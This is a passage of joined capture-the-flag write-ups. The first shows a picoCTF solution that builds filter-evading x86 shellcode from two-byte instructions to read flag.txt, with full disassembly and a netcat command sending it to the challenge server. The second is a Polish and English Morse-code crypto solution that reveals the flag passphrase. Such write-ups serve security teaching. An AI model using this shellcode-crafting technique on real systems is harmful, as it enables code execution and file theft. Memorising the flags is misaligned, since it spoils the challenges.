<execute+202> mov eax, DWORD PTR [ebp-0x1c] 0x80485c3 <execute+205> mov DWORD PTR [ebp-0x20], eax 0x80485c6 <execute+208> mov eax, DWORD PTR [ebp-0x20] → 0x80485c9 <execute+211> call eax 0x80485cb <execute+213> mov esp, ebx 0x80485cd <execute+215> nop 0x80485ce <execute+216> mov ebx, DWORD PTR [ebp-0x4] 0x80485d1 <execute+219> leave 0x80485d2 <execute+220> ret ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── *0xffffffffffffd570 ( [sp + 0x0] = 0x90906261 ) ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "fun", stopped 0x80485c9 in execute (), reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80485c9 → execute() [#1] 0x80486a8 → main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef> hexdump byte $eax 0xffffd570 61 62 90 90 63 64 90 90 65 66 90 90 67 68 90 90 ab..cd..ef..gh.. 0xffffd580 c3 5d fb f7 28 ac dd f7 14 00 00 00 02 85 04 08 .]..(........... 0xffffd590 e0 65 fb f7 00 50 fb f7 70 d5 ff ff 70 d5 ff ff .e...P..p...p... 0xffffd5a0 10 00 00 00 10 00 00 00 08 00 00 00 10 00 00 00 ................ ``` We can see that after every two bytes of our input, the program inserted two NOPs (0x90). Going back to the code, this makes sense. Now, suppose we would enter `"mov eax, 17"` as our shellcode: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn asm -f hex "mov eax, 17" b811000000 ``` This would turn to: ``` b81190900000909000 ``` Which would be interpreted as: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn disasm "b81190900000909000" 0: b8 11 90 90 00 mov eax, 0x909011 5: 00 .byte 0x0 6: 90 nop 7: 90 nop ``` Not exactly what we wanted. So, our problem is that we can't just enter any shellcode as input. Our easiest workaround would be to work with assembly instructions of exactly two bytes. If we need an instruction of one byte, we can pad it with a NOP. If we need an instruction of more than two bytes, we'll just have to find a way to refactor it to multiple instructions of two bytes. We want to read the flag, which is usually saved as `"flag.txt"` in the challenge directory. So, we'll use a shellcode to print the contents of a file. [Here's](http://shell-storm.org/shellcode/files/shellcode-842.php) a short shellcode to read the contents of `/etc/passwd`: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn disasm "31C9F7E1B00551687373776468632F7061682F2F657489E3CD809391B00331D266BAFF0F42CD809231C0B004B301CD8093CD80" 0: 31 c9 xor ecx, ecx 2: f7 e1 mul ecx 4: b0 05 mov al, 0x5 6: 51 push ecx 7: 68 73 73 77 64 push 0x64777373 c: 68 63 2f 70 61 push 0x61702f63 11: 68 2f 2f 65 74 push 0x74652f2f 16: 89 e3 mov ebx, esp 18: cd 80 int 0x80 1a: 93 xchg ebx, eax 1b: 91 xchg ecx, eax 1c: b0 03 mov al, 0x3 1e: 31 d2 xor edx, edx 20: 66 ba ff 0f mov dx, 0xfff 24: 42 inc edx 25: cd 80 int 0x80 27: 92 xchg edx, eax 28: 31 c0 xor eax, eax 2a: b0 04 mov al, 0x4 2c: b3 01 mov bl, 0x1 2e: cd 80 int 0x80 30: 93 xchg ebx, eax 31: cd 80 int 0x80 ``` First, we'd like to replace the `/etc/passwd` with `flag.txt`: ```assembly push 0x64777373 ; "dwss" push 0x61702f63 ; "ap/c" push 0x74652f2f ; "te//" ; Turn into: push 0x7478742e ; "txt." push 0x67616c66 ; "galf" ``` Encoded, we get: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn asm -f hex "push 0x7478742e; push 0x67616c66;" | xxd -p -r | pwn disasm 0: 68 2e 74 78 74 push 0x7478742e 5: 68 66 6c 61 67 push 0x67616c66 ``` So, each of these `push` instructions are 5 bytes long. How do we get the same result with just 2-byte instructions? Well, one way to express `0x7478742e` is by factorizing it to prime factors: ```python >>> hex(2 * 5843 * 167213) '0x7478742e' ``` So, `push 0x7478742e` could become: ```assembly mov eax, 167213 mov ebx, 5843 mul ebx mov ebx, 2 mul ebx push eax ``` However, this code still requires instructions larger than two bytes. But what if we make sure that none of the constants are larger than 256? ```python >>> hex(2 * ((2 * 23 * 127)+1) * ((2 * 2 * 17 * ((2 * ((2 * 2 * ((2 * 3 * 3 * 17)+1))+1))+1))+1)) '0x7478742e' ``` Then, we can rewrite this in assembly as follows: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn disasm "31C031DBB011B303F7E3F7E3B302F7E3D1EB01D8B302F7E3F7E3D1EB01D8B302F7E3D1EB01D8B311F7E3B302F7E3F7E3D1EB01D8509031C0B07FB317F7E3B302F7E3D1EB01D8B302F7E35B90F7E35090" 0: 31 c0 xor eax, eax 2: 31 db xor ebx, ebx 4: b0 11 mov al, 0x11 6: b3 03 mov bl, 0x3 8: f7 e3 mul ebx a: f7 e3 mul ebx c: b3 02 mov bl, 0x2 e: f7 e3 mul ebx 10: d1 eb shr ebx, 1 12: 01 d8 add eax, ebx 14: b3 02 mov bl, 0x2 16: f7 e3 mul ebx 18: f7 e3 mul ebx 1a: d1 eb shr ebx, 1 1c: 01 d8 add eax, ebx 1e: b3 02 mov bl, 0x2 20: f7 e3 mul ebx 22: d1 eb shr ebx, 1 24: 01 d8 add eax, ebx 26: b3 11 mov bl, 0x11 28: f7 e3 mul ebx 2a: b3 02 mov bl, 0x2 2c: f7 e3 mul ebx 2e: f7 e3 mul ebx 30: d1 eb shr ebx, 1 32: 01 d8 add eax, ebx 34: 50 push eax 35: 90 nop 36: 31 c0 xor eax, eax 38: b0 7f mov al, 0x7f 3a: b3 17 mov bl, 0x17 3c: f7 e3 mul ebx 3e: b3 02 mov bl, 0x2 40: f7 e3 mul ebx 42: d1 eb shr ebx, 1 44: 01 d8 add eax, ebx 46: b3 02 mov bl, 0x2 48: f7 e3 mul ebx 4a: 5b pop ebx 4b: 90 nop 4c: f7 e3 mul ebx 4e: 50 push eax 4f: 90 nop ``` Notice how we padded 1-byte instructions with a NOP. The same goes for `0x67616c66`: ```python >>> hex(2 * 5 * 19 * ((2 * 2 * 2 * 3 * 43)+1) * ((2 * 2 * 47 * 47)+1)) '0x67616c66' ``` So: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn disasm "31C031DBB02FF7E0B302F7E3F7E3D1EB01D8509031C0B02BB303F7E3B302F7E3F7E3F7E3D1EB01D8B313F7E3B305F7E3B302F7E35B90F7E35090" 0: 31 c0 xor eax, eax 2: 31 db xor ebx, ebx 4: b0 2f mov al, 0x2f 6: f7 e0 mul eax 8: b3 02 mov bl, 0x2 a: f7 e3 mul ebx c: f7 e3 mul ebx e: d1 eb shr ebx, 1 10: 01 d8 add eax, ebx 12: 50 push eax 13: 90 nop 14: 31 c0 xor eax, eax 16: b0 2b mov al, 0x2b 18: b3 03 mov bl, 0x3 1a: f7 e3 mul ebx 1c: b3 02 mov bl, 0x2 1e: f7 e3 mul ebx 20: f7 e3 mul ebx 22: f7 e3 mul ebx 24: d1 eb shr ebx, 1 26: 01 d8 add eax, ebx 28: b3 13 mov bl, 0x13 2a: f7 e3 mul ebx 2c: b3 05 mov bl, 0x5 2e: f7 e3 mul ebx 30: b3 02 mov bl, 0x2 32: f7 e3 mul ebx 34: 5b pop ebx 35: 90 nop 36: f7 e3 mul ebx 38: 50 push eax 39: 90 nop ``` Now we refactor `mov dx, 0xfff` as: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ pwn disasm "509031C031D2B240B040F7E250905A9031C0B00129C25890" 0: 50 push eax 1: 90 nop 2: 31 c0 xor eax, eax 4: 31 d2 xor edx, edx 6: b2 40 mov dl, 0x40 8: b0 40 mov al, 0x40 a: f7 e2 mul edx c: 50 push eax d: 90 nop e: 5a pop edx f: 90 nop 10: 31 c0 xor eax, eax 12: b0 01 mov al, 0x1 14: 29 c2 sub edx, eax 16: 58 pop eax 17: 90 nop ``` Our full shellcode becomes: ```assembly xor ecx,ecx mul ecx push ecx nop xor eax, eax xor ebx, ebx mov al, 17 mov bl, 3 mul ebx mul ebx mov bl, 2 mul ebx shr ebx, 1 add eax, ebx mov bl, 2 mul ebx mul ebx shr ebx, 1 add eax, ebx mov bl, 2 mul ebx shr ebx, 1 add eax, ebx mov bl, 17 mul ebx mov bl, 2 mul ebx mul ebx shr ebx, 1 add eax, ebx push eax nop xor eax, eax mov al, 127 mov bl, 23 mul ebx mov bl, 2 mul ebx shr ebx, 1 add eax, ebx mov bl, 2 mul ebx pop ebx nop mul ebx push eax nop xor eax, eax xor ebx, ebx mov al, 47 mul eax mov bl, 2 mul ebx mul ebx shr ebx, 1 add eax, ebx push eax nop xor eax, eax mov al, 43 mov bl, 3 mul ebx mov bl, 2 mul ebx mul ebx mul ebx shr ebx, 1 add eax, ebx mov bl, 19 mul ebx mov bl, 5 mul ebx mov bl, 2 mul ebx pop ebx nop mul ebx push eax nop xor eax, eax mov al,0x5 mov ebx,esp int 0x80 xchg ebx,eax nop xchg ecx,eax nop mov al,0x3 xor edx,edx push eax nop xor eax, eax xor edx, edx mov dl, 64 mov al, 64 mul edx push eax nop pop edx nop xor eax, eax mov al, 1 sub edx, eax pop eax nop inc edx nop int 0x80 xchg edx,eax nop xor eax,eax mov al,0x4 mov bl,0x1 int 0x80 xchg ebx,eax nop int 0x80 ``` Let's try it: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ printf "\x31\xC9\xF7\xE1\x51\x90\x31\xC0\x31\xDB\xB0\x11\xB3\x03\xF7\xE3\xF7\xE3\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x11\xF7\xE3\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\x50\x90\x31\xC0\xB0\x7F\xB3\x17\xF7\xE3\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\x5B\x90\xF7\xE3\x50\x90\x31\xC0\x31\xDB\xB0\x2F\xF7\xE0\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\x50\x90\x31\xC0\xB0\x2B\xB3\x03\xF7\xE3\xB3\x02\xF7\xE3\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\xB3\x13\xF7\xE3\xB3\x05\xF7\xE3\xB3\x02\xF7\xE3\x5B\x90\xF7\xE3\x50\x90\x31\xC0\xB0\x05\x89\xE3\xCD\x80\x93\x90\x91\x90\xB0\x03\x31\xD2\x50\x90\x31\xC0\x31\xD2\xB2\x40\xB0\x40\xF7\xE2\x50\x90\x5A\x90\x31\xC0\xB0\x01\x29\xC2\x58\x90\x42\x90\xCD\x80\x92\x90\x31\xC0\xB0\x04\xB3\x01\xCD\x80\x93\x90\xCD\x80\n" | nc mercury.picoctf.net 16460 Give me code to run: picoCTF{th4t_w4s_fun_f1ed6f7952ff4071} ```
sec-knowleage
##Crytpo 100 (crypto, 100p) ###PL [ENG](#eng-version) Treść zadania była następująca "Przechwycono rozmowę hackera w której wymienia tajne hasło. Prawie na pewno jest alfabetem morsa. Głupi protokół usunął wszystkie spacje. Odnajdź hasło." Rozwiązanie to dctf{md5}. ``` ..-......-..--.-..--..-..-.--..-.-..-.....-..-.--..--.....-.-.-----..-..-...-.-..---..---.....--.-.....--.--..-....-.-.-.----....-.--....-.-......--.-.-..--..--..-.----....--.-.....-----..--.-.....---..-..-......--...--.-.......-.-.--.-.-----.--...--..-.-.---.--.--...--.--....-.-...--..-.-.----..-.---..-.-.-...-...-..-.--.-.......-.....-.-.--.-.-----..-.--...-..-.------.-.-.....-.---.-..-----.-.--.--......-....-.....--..--..-.--.-....--..-.--..--..-..-...-..-.--..--.--.-..-----.-....--.--..-...--.-.-.-....-.-------..-.-.-...-...-..-.--.-.......-........-..-.-.---...--.--.-.-.-.--.-.-..--..----.-.-..........-....---.--..--.--.---.-.-.--.-..-.......-.---.-.....-..-.-.---......-.--..--.-..---.-.-.--....-.....-.-..-.-...-..-.--..-.--.-...--.--...------.--.-.---..-.-..-----.-.-.-..-...-.--.--.-....-..-...-.-.-.------...-.--..---.--..-........---..-.-...-...--..-.-..-......-.--.-....-....-..----.-.-.-.....-.---.-..-----.-.--.--.-....-.........-.-...--.--.---.-.-.--.-..-.-----...--.--.----.....-......-...-.-.--.....------.-.....----......-......--.-..--..---......-...-.-.........-..-..-.-...-..--....---.-...-......-.....---.-......-.-.-.-....-..-.-.-------...-.-.....--.....-..----....-.-.....----..-....-...-....-...-.----.--.-.-.-.-.-....-..-.-.--.--.-...-..--..--....-..-.-.----........---....-..-.-----..-..--.-..-...-------.-.....-.-......-.-.-.-.-...-.-.--.....-.--.-..-------.-..-.---.-.-....--..--...--.--...--..--..-......-...--...---..---.....---.-----..--.-..--..----.--..----.-----..-.-..--....-.....-...-.-..-.-.-...-..-.--.--..-....---..--.....-...-..-.--....-----.----......-..--..-...-....---..-..-.--.....--.---.-.......-.--...-.-.-.-..-.......--..--.-.-.-...--.-.--....-...-.....--..-.....-......-...-.-....--.--.--..-.......-...-..--.-..-......--.-.-.-.........--..-.......--......-..-................---....-.------....----....---...-----...--.......-.-....-.-....--.....---....----.-.-......------.-...----....-----.----.....--.......-.-.-.-......---.--..-.....---.....----......--.---.-.......-.--...-..-.---.-.--.----.--...---..-------.-.....-.-.----....--.-..-.....---.....---..---.......-.-......-.-..--.-.-..-......-....-..-......-.---.-...--...-...-..--......-....--..-.....--.-.-.-...---.--...........-.--.-.-----..---.-------...-....--.-.-.----.--..-..-....-.-...--.-...-...-.----........---.--..-.----..---..-...-...--..-...-.-..-..---.....-.-.-.-.--....---.....-...---..---.....--.........--..--.-............--..-.-.- ``` Użyliśmy kodu z [https://gist.github.com/ebuckley/1842461](https://gist.github.com/ebuckley/1842461), przerabijąc go dodając obsługę cyfr i ograniczając obsługę liter do A-F. Jednak zwracał coś około 20 milionów możliwych hashy. Próbowaliśmy też różnych słownikowych solverów, ale bez skutku. Po jedenastu godzinach(z 24)organizatorzy zorientowali się, że zadanie jest niemożliwe do zrobienia. Zmienili kod zadania na: ``` ..​-​..​...​.​-..-​-​.-.​.​--​.​.-..​-.--​..​-.​-​.​.-.​.​...​-​..​-.​--.​.--​....​.​-.​-.--​---​..-​..-.​..​-.​-..​---​..-​-​-​....​.-​-​.-​...​..​--​.--.​.-..​.​.​-.​-.-.​---​-..​..​-.​--.​...​-.-.​....​.​--​.​-.-.​.-​-.​.--.​.-.​---​-..​..-​-.-.​.​...​---​--​..-​-.-.​....​---​..-.​.-​....​.​.-​-..​.-​-.-.​....​.​.-.-.-​-.-.​---​--​.--.​..-​-​.​.-.​-.​---​.--​.-​-..​.-​-.--​...​.-​.-.​.​.--.​.-​.-.​-​---​..-.​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.-.-.-​-.-.​---​--​..​-.​--.​..-.​.-.​---​--​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.--​....​.​.-.​.​..​-​..​...​--.​.​-​-​..​-.​--.​-...​.​-​-​.​.-.​--..--​..-.​.-​...​-​.​.-.​--..--​.-​-.​-..​--​---​.-.​.​..​--​.--.​.-..​.​--​.​-.​-​.​-..​..​-.​-​---​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.​...-​.​.-.​-.--​-..​.-​-.--​.-.-.-​.--​.​-.-.​.-​-.​.----.​-​.-.​.​...​..​...​-​....​---​.--​..​--​.--.​---​.-.​-​.-​-.​-​..​-​..​...​..-.​---​.-.​.​...-​.​.-.​-.--​-​....​..​-.​--.​.--​.​-..​---​.-.-.-​-...​.-​...​..​-.-.​.-​.-..​.-..​-.--​..​-​.--​.-​...​--​.-​-..​.​-​---​--​.-​-.-​.​---​..-​.-.​.--​---​.-.​-.-​.​.-​...​-.--​.-​-.​-..​..-.​.-​...​-​.-.-.-​--​---​...​-​.--.​.​---​.--.​.-..​.​...​.​.​---​..-​.-.​..-.​..-​-​..-​.-.​.​-...​.​..​-.​--.​-...​.-​...​.​-..​---​-.​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.-​-.​-..​..​-​..​...​.​...-​.​-.​..​--​.--.​---​.-.​-​.-​-.​-​..​-.​-​---​-..​.-​-.--​.----.​...​.-..​..​..-.​.​.-.-.-​-...​..-​-​---​-.​-​....​.​---​-​....​.​.-.​....​.-​-.​-..​--..--​-​....​.​.-.​.​.-​.-.​.​...​.​...-​.​.-.​.-​.-..​.-​..-​-​....​---​.-.​..​-​..​.​...​-​....​.-​-​-.-.​....​.​-.-.​-.-​.​...-​.​.-.​-.--​--​---​...-​.​-​....​.-​-​..​...​-..​---​-.​.​..​-.​-​....​.​---​-.​.-..​..​-.​.​.​-.​...-​..​.-.​---​-.​--​.​-.​-​.-.-.-​.​...-​.​.-.​-.--​.​--​.-​..​.-..​--..--​.​...-​.​.-.​-.--​--​.​...​...​.-​--.​.​..-.​.-.​---​--​..-.​.-​-.-.​.​-...​---​---​-.-​..​...​-.-.​....​.​-.-.​-.-​.​-..​.-.-.-​-​....​.​-.--​.-..​---​---​-.-​..-.​---​.-.​-...​.-​-..​--.​..-​-.--​...​--..--​..​-​..​...​.-..​.​--.​..​-​--..--​-...​..-​-​-.--​---​..-​-.-.​.-​-.​.----.​-​-..​---​-.--​---​..-​.-.​.--​..​..-.​.​...-​..​.-.​-​..-​.-​.-..​.-..​-.--​.--​..​-​....​---​..-​-​....​.-​...-​..​-.​--.​...​---​--​.​---​-​....​.​.-.​.--.​.-​..​.-.​...​---​..-.​.​-.--​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​.-.-.-​..​-​..​...​..-​-.​.-​-.-.​-.-.​.​.--.​-​.-​-...​.-..​.​-...​..-​-​..​-​..​...​-​....​.​.-.​.​.-​.-..​..​-​-.--​.--​.​.-..​..​...-​.​..​-.​.-​-.​-..​-​....​.​.-​-.-.​-.-.​.​...​...​.--.​.-​...​...​.--.​....​.-.​.-​...​.​..​...​.....​..---​....-​.----​--...​.----​....-​--...​-----​...--​.....​..-.​-...​.​-.-.​...--​.....​---..​..---​-.-.​-....​.​.​-----​-.-.​..---​-....​-----​.----​.....​--...​....-​.-.-.-​..​....​---​.--.​.​-​....​.-​-​-​....​.​---​-.​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​..-.​---​.-.​--.​---​-​.-​-...​---​..-​-​--​---​.-.​...​.​-.-.​---​-..​.​.-​-.​-..​-​....​.-​-​-​....​.​---..​---..​.....​-.-.​....​.-​.-.​.-​-.-.​-​.​.-.​...​..-​...​.​-..​-...​.​..-.​---​.-.​.​.--​..​.-..​.-..​--​..​...​.-..​.​.-​-..​-​....​.​--​.-.-.-​..​.-​--​.--​..​...​....​..​-.​--.​-.--​---​..-​--.​---​---​-..​.-..​..-​-.-.​-.-​--​-.--​..-.​.-.​..​.​-.​-..​.-​-.​-..​.-..​.​-​.----.​...​....​---​.--.​.​-.​---​-.​.​---​..-.​..-​...​--.​.​-​...​-.-.​.-​..-​--.​....​-​.-.-.-​.--.​...​---...​..​-...​---​..-​--.​....​-​-​....​.​...​.--.​.-​-.-.​.​...​....​..​.--.​.-.-.- ``` Teraz nie trudno sie domyślić ze `​` to spacje, a zadanie staje się banalnie proste. Zostało rozwiązane przez wszystkie drużyny. Przetłumaczona wiadomość ``` ITISEXTREMELYINTERESTINGWHENYOUFINDOUTTHATASIMPLEENCODINGSCHEMECANPRODUCESOMUCHOFAHEADACHECOMPUTERNOWADAYSAREPARTOFOURDAILYLIVESCOMINGFROMTECHNOLOGYWHEREITISGETTINGBETTERFASTERANDMOREIMPLEMENTEDINTOOURDAILYLIVESEVERYDAYWECANTRESISTHOWIMPORTANTITISFOREVERYTHINGWEDOBASICALLYITWASMADETOMAKEOURWORKEASYANDFASTMOSTPEOPLESEEOURFUTUREBEINGBASEDONTECHNOLOGYANDITISEVENIMPORTANTINTODAYSLIFEBUTONTHEOTHERHANDTHEREARESEVERALAUTHORITIESTHATCHECKEVERYMOVETHATISDONEINTHEONLINEENVIRONMENTEVERYEMAILEVERYMESSAGEFROMFACEBOOKISCHECKEDTHEYLOOKFORBADGUYSITISLEGITBUTYOUCANTDOYOURWIFEVIRTUALLYWITHOUTHAVINGSOMEOTHERPAIRSOFEYESWATCHINGITITISUNACCEPTABLEBUTITISTHEREALITYWELIVEINANDTHEACCESSPASSPHRASEIS52417147035FBEC3582C6EE0C2601574IHOPETHATTHEONESWATCHINGITFORGOTABOUTMORSECODEANDTHATTHE885CHARACTERSUSEDBEFOREWILLMISLEADTHEMIAMWISHINGYOUGOODLUCKMYFRIENDANDLETSHOPENONEOFUSGETSCAUGHTPSIBOUGHTTHESPACESHIP ``` ### ENG version The task was as follows "We have captured hackers conversation in which he mentions secret password. Is for almost 100% encoded with morse alphabet. Dumb protocol erases all spaces. Get the password" Flag is in format dctf{md5}. ``` ..-......-..--.-..--..-..-.--..-.-..-.....-..-.--..--.....-.-.-----..-..-...-.-..---..---.....--.-.....--.--..-....-.-.-.----....-.--....-.-......--.-.-..--..--..-.----....--.-.....-----..--.-.....---..-..-......--...--.-.......-.-.--.-.-----.--...--..-.-.---.--.--...--.--....-.-...--..-.-.----..-.---..-.-.-...-...-..-.--.-.......-.....-.-.--.-.-----..-.--...-..-.------.-.-.....-.---.-..-----.-.--.--......-....-.....--..--..-.--.-....--..-.--..--..-..-...-..-.--..--.--.-..-----.-....--.--..-...--.-.-.-....-.-------..-.-.-...-...-..-.--.-.......-........-..-.-.---...--.--.-.-.-.--.-.-..--..----.-.-..........-....---.--..--.--.---.-.-.--.-..-.......-.---.-.....-..-.-.---......-.--..--.-..---.-.-.--....-.....-.-..-.-...-..-.--..-.--.-...--.--...------.--.-.---..-.-..-----.-.-.-..-...-.--.--.-....-..-...-.-.-.------...-.--..---.--..-........---..-.-...-...--..-.-..-......-.--.-....-....-..----.-.-.-.....-.---.-..-----.-.--.--.-....-.........-.-...--.--.---.-.-.--.-..-.-----...--.--.----.....-......-...-.-.--.....------.-.....----......-......--.-..--..---......-...-.-.........-..-..-.-...-..--....---.-...-......-.....---.-......-.-.-.-....-..-.-.-------...-.-.....--.....-..----....-.-.....----..-....-...-....-...-.----.--.-.-.-.-.-....-..-.-.--.--.-...-..--..--....-..-.-.----........---....-..-.-----..-..--.-..-...-------.-.....-.-......-.-.-.-.-...-.-.--.....-.--.-..-------.-..-.---.-.-....--..--...--.--...--..--..-......-...--...---..---.....---.-----..--.-..--..----.--..----.-----..-.-..--....-.....-...-.-..-.-.-...-..-.--.--..-....---..--.....-...-..-.--....-----.----......-..--..-...-....---..-..-.--.....--.---.-.......-.--...-.-.-.-..-.......--..--.-.-.-...--.-.--....-...-.....--..-.....-......-...-.-....--.--.--..-.......-...-..--.-..-......--.-.-.-.........--..-.......--......-..-................---....-.------....----....---...-----...--.......-.-....-.-....--.....---....----.-.-......------.-...----....-----.----.....--.......-.-.-.-......---.--..-.....---.....----......--.---.-.......-.--...-..-.---.-.--.----.--...---..-------.-.....-.-.----....--.-..-.....---.....---..---.......-.-......-.-..--.-.-..-......-....-..-......-.---.-...--...-...-..--......-....--..-.....--.-.-.-...---.--...........-.--.-.-----..---.-------...-....--.-.-.----.--..-..-....-.-...--.-...-...-.----........---.--..-.----..---..-...-...--..-...-.-..-..---.....-.-.-.-.--....---.....-...---..---.....--.........--..--.-............--..-.-.- ``` We have downloaded code from [https://gist.github.com/ebuckley/1842461](https://gist.github.com/ebuckley/1842461) and modified it by adding numbers to dictionary and limiting other characters to A-F range. We get almos 20 milions of md5 hashes. We have also triead some dictionary based solvers but with no avail. After eleven hours of twenty four the organisers realised it's unsolvable. They updated code to: ``` ..​-​..​...​.​-..-​-​.-.​.​--​.​.-..​-.--​..​-.​-​.​.-.​.​...​-​..​-.​--.​.--​....​.​-.​-.--​---​..-​..-.​..​-.​-..​---​..-​-​-​....​.-​-​.-​...​..​--​.--.​.-..​.​.​-.​-.-.​---​-..​..​-.​--.​...​-.-.​....​.​--​.​-.-.​.-​-.​.--.​.-.​---​-..​..-​-.-.​.​...​---​--​..-​-.-.​....​---​..-.​.-​....​.​.-​-..​.-​-.-.​....​.​.-.-.-​-.-.​---​--​.--.​..-​-​.​.-.​-.​---​.--​.-​-..​.-​-.--​...​.-​.-.​.​.--.​.-​.-.​-​---​..-.​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.-.-.-​-.-.​---​--​..​-.​--.​..-.​.-.​---​--​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.--​....​.​.-.​.​..​-​..​...​--.​.​-​-​..​-.​--.​-...​.​-​-​.​.-.​--..--​..-.​.-​...​-​.​.-.​--..--​.-​-.​-..​--​---​.-.​.​..​--​.--.​.-..​.​--​.​-.​-​.​-..​..​-.​-​---​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.​...-​.​.-.​-.--​-..​.-​-.--​.-.-.-​.--​.​-.-.​.-​-.​.----.​-​.-.​.​...​..​...​-​....​---​.--​..​--​.--.​---​.-.​-​.-​-.​-​..​-​..​...​..-.​---​.-.​.​...-​.​.-.​-.--​-​....​..​-.​--.​.--​.​-..​---​.-.-.-​-...​.-​...​..​-.-.​.-​.-..​.-..​-.--​..​-​.--​.-​...​--​.-​-..​.​-​---​--​.-​-.-​.​---​..-​.-.​.--​---​.-.​-.-​.​.-​...​-.--​.-​-.​-..​..-.​.-​...​-​.-.-.-​--​---​...​-​.--.​.​---​.--.​.-..​.​...​.​.​---​..-​.-.​..-.​..-​-​..-​.-.​.​-...​.​..​-.​--.​-...​.-​...​.​-..​---​-.​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.-​-.​-..​..​-​..​...​.​...-​.​-.​..​--​.--.​---​.-.​-​.-​-.​-​..​-.​-​---​-..​.-​-.--​.----.​...​.-..​..​..-.​.​.-.-.-​-...​..-​-​---​-.​-​....​.​---​-​....​.​.-.​....​.-​-.​-..​--..--​-​....​.​.-.​.​.-​.-.​.​...​.​...-​.​.-.​.-​.-..​.-​..-​-​....​---​.-.​..​-​..​.​...​-​....​.-​-​-.-.​....​.​-.-.​-.-​.​...-​.​.-.​-.--​--​---​...-​.​-​....​.-​-​..​...​-..​---​-.​.​..​-.​-​....​.​---​-.​.-..​..​-.​.​.​-.​...-​..​.-.​---​-.​--​.​-.​-​.-.-.-​.​...-​.​.-.​-.--​.​--​.-​..​.-..​--..--​.​...-​.​.-.​-.--​--​.​...​...​.-​--.​.​..-.​.-.​---​--​..-.​.-​-.-.​.​-...​---​---​-.-​..​...​-.-.​....​.​-.-.​-.-​.​-..​.-.-.-​-​....​.​-.--​.-..​---​---​-.-​..-.​---​.-.​-...​.-​-..​--.​..-​-.--​...​--..--​..​-​..​...​.-..​.​--.​..​-​--..--​-...​..-​-​-.--​---​..-​-.-.​.-​-.​.----.​-​-..​---​-.--​---​..-​.-.​.--​..​..-.​.​...-​..​.-.​-​..-​.-​.-..​.-..​-.--​.--​..​-​....​---​..-​-​....​.-​...-​..​-.​--.​...​---​--​.​---​-​....​.​.-.​.--.​.-​..​.-.​...​---​..-.​.​-.--​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​.-.-.-​..​-​..​...​..-​-.​.-​-.-.​-.-.​.​.--.​-​.-​-...​.-..​.​-...​..-​-​..​-​..​...​-​....​.​.-.​.​.-​.-..​..​-​-.--​.--​.​.-..​..​...-​.​..​-.​.-​-.​-..​-​....​.​.-​-.-.​-.-.​.​...​...​.--.​.-​...​...​.--.​....​.-.​.-​...​.​..​...​.....​..---​....-​.----​--...​.----​....-​--...​-----​...--​.....​..-.​-...​.​-.-.​...--​.....​---..​..---​-.-.​-....​.​.​-----​-.-.​..---​-....​-----​.----​.....​--...​....-​.-.-.-​..​....​---​.--.​.​-​....​.-​-​-​....​.​---​-.​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​..-.​---​.-.​--.​---​-​.-​-...​---​..-​-​--​---​.-.​...​.​-.-.​---​-..​.​.-​-.​-..​-​....​.-​-​-​....​.​---..​---..​.....​-.-.​....​.-​.-.​.-​-.-.​-​.​.-.​...​..-​...​.​-..​-...​.​..-.​---​.-.​.​.--​..​.-..​.-..​--​..​...​.-..​.​.-​-..​-​....​.​--​.-.-.-​..​.-​--​.--​..​...​....​..​-.​--.​-.--​---​..-​--.​---​---​-..​.-..​..-​-.-.​-.-​--​-.--​..-.​.-.​..​.​-.​-..​.-​-.​-..​.-..​.​-​.----.​...​....​---​.--.​.​-.​---​-.​.​---​..-.​..-​...​--.​.​-​...​-.-.​.-​..-​--.​....​-​.-.-.-​.--.​...​---...​..​-...​---​..-​--.​....​-​-​....​.​...​.--.​.-​-.-.​.​...​....​..​.--.​.-.-.- ``` Now it's easy to guess that `​` replaced spaces and task is trivial. Task was solved by every team. Decoded message ``` 